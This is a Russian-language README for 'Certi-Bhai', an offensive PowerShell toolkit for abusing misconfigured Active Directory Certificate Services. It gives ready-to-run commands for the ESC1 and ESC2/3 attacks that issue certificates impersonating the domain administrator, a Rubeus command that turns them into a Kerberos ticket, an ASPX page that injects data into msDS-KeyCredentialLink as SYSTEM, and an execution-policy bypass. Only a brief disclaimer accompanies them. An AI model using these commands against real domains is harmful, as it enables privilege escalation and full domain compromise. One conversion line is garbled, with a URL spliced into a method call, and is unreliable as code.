Certi-Bhai: Набор инструментов для эксплуатации AD CS

Certi-Bhai — это комплексный набор инструментов PowerShell для атаки на уязвимости служб сертификации Active Directory (AD CS). Этот набор реализует различные сценарии эскалации привилегий (ESC), демонстрирующие критические ошибки конфигурации безопасности в средах ADCS.

📋 Содержание

• Обзор
• Структура каталогов
• Предварительные требования
• Руководство по использованию
  • ESC1 — Излишне разрешающий шаблон сертификата
  • ESC2/3 — Агент запроса сертификатов
  • ESC15 — Уязвимая веб-регистрация
  • Генерация CSR
  • Повышение привилегий IIS

🎯 Обзор

Службы сертификации Active Directory (AD CS) часто настроены с ошибками, что создаёт множество векторов атак. Certi-Bhai предоставляет практические скрипты и утилиты для эксплуатации, тестирования безопасности и исследования распространённых уязвимостей ADCS.

Используйте ответственно и только в авторизованных тестовых средах.

✅ Предварительные требования

• Windows 7 / Windows Server 2008 или новее
• PowerShell 3.0+
• Система, входящая в домен Active Directory
• Соответствующие разрешения для запроса сертификатов
• Доступ к инфраструктуре AD CS
• .NET Framework 3.5+ (для скриптов ASP.NET)

Требуемые модули

# Модуль Active Directory (необязательно, для расширенной функциональности)
Import-Module ActiveDirectory

🚀 Руководство по использованию

ESC1: Излишне разрешающий шаблон сертификата

Уязвимость: Шаблоны сертификатов позволяют регистрацию с произвольными значениями SubjectAltName (SAN).

Что делает: Создаёт сертификат, подписанный излишне разрешающим шаблоном, позволяя выдавать себя за любого пользователя или компьютер в домене.

Использование:

# Перейдите в каталог ESC1
cd ESC1

# Запустите скрипт эксплуатации
.
\esc1.ps1 -subjectName "CN=administrator,CN=Users,DC=indishell,DC=lab" `
           -templateName "vuln" `
           -altName "administrator" `
           -pfxPass "password123"

Параметры:

• -subjectName: Полное различающееся имя (DN) целевого пользователя
• -templateName: Имя уязвимого шаблона сертификата
• -altName: Альтернативное имя для запроса (имя пользователя/компьютера)
• -pfxPass: Пароль для экспорта PFX

Результат: Сертификат PFX в кодировке Base64 для использования с такими инструментами, как Rubeus

Видеоурок: https://www.youtube.com/watch?v=l0gMw_mO4dw

ESC2/3: Злоупотребление агентом запроса сертификатов (Any Purpose/Certificate Request Agent)

Уязвимость: Агенты запроса сертификатов могут запрашивать сертификаты от имени любого пользователя.

Что делает: Регистрирует сертификат как агент запроса сертификатов, затем запрашивает сертификаты для произвольных субъектов.

Использование:

# Перейдите в каталог ESC3
cd ESC3

# Запустите скрипт эксплуатации
.
\esc3_working.ps1 -templateName "CEOTemplate" `
                   -target_user "administrator" `
                   -domain "INDISHELL" `
                   -pfxPass "password123"

Параметры:

• -templateName: Уязвимый шаблон агента запроса
• -target_user: Субъект, для которого запрашивается сертификат
• -domain: Имя домена
• -pfxPass: Пароль PFX

Результат: Сертификат администратора (PFX) с кодировкой base64

Видеоурок: https://www.youtube.com/watch?v=fGjrM-JKnoM

ESC15: Неправильно настроенный шаблон версии 1 схемы

Уязвимость: Внедрение политики приложения (Application Policy Injection).

Генерация и управление CSR

Быстрая генерация CSR

cd CSR_Generate

# Сгенерируйте запрос на подпись сертификата
.
\csr_short.ps1 -subjectName "CN=admin,CN=Users,DC=domain,DC=local" `
                -altName "admin"

Отправка CSR в центр сертификации

# Отправьте CSR в CA
.
\csr_submit.ps1 -csr $csr `
                 -templateName "User" `
                 -caServer "ca-server.domain.local"

Повышение привилегий IIS

Интерфейс управления сертификатами

Веб-интерфейс cert.aspx предоставляет удобную форму для запроса сертификата через конечную точку RPC AD CS:

http://your-iis-server/cert.aspx

Интерфейс обновления LDAP

Изменяйте атрибуты LDAP через веб-интерфейс. Этот скрипт в основном используется для внедрения blob-данных в атрибут msDS-KeyCredentialLink:

http://your-iis-server/ldap_update.aspx

Возможности:

• Фильтрация атрибутов LDAP
• Возможности изменения объектов
• Выполнение в контексте NT Authority\SYSTEM

Быстрые справочные команды

Для эксплуатации ESC1

.
\ESC1/esc1.ps1 -subjectName "CN=admin,CN=Users,DC=indishell,DC=lab" `
                -templateName "User" `
                -altName "administrator" `
                -pfxPass "P@ssw0rd!"

Для пост-эксплуатации ESC2/3

# Преобразуйте PFX в используемый формат для Rubeus
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("cert.pfx", "password")
[Convert]:https://raw.githubusercontent.com/incredibleindishell/certi-bhai/main/:ToBase64String($cert.RawData)

Запрос TGT с помощью Rubeus

Rubeus.exe asktgt /user:administrator /certificate:$base64cert /nowrap

🔧 Устранение неполадок

Частые проблемы

В: Выполнение скрипта заблокировано

# Запустите PowerShell от имени администратора
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

В: Шаблон сертификата не найден

• Проверьте правильность имени шаблона
• Убедитесь, что у вас есть разрешения на запрос по шаблону
• Проверьте журналы центра сертификации

В: Сбой подключения к LDAP

• Проверьте связь с доменом
• Проверьте учётные данные
• Подтвердите доступ к ADSI

📝 Технические детали

Процесс запроса сертификата

1. Сгенерируйте закрытый ключ (RSA 2048 бит)
2. Создайте запрос сертификата (PKCS#10)
3. Задайте имя субъекта и расширения
4. Отправьте в центр сертификации
5. Получите выданный сертификат
6. Экспортируйте в PFX с паролем

🤝 Вклад в проект

Нашли проблему или есть предложения по улучшению? Пожалуйста, сообщайте ответственно.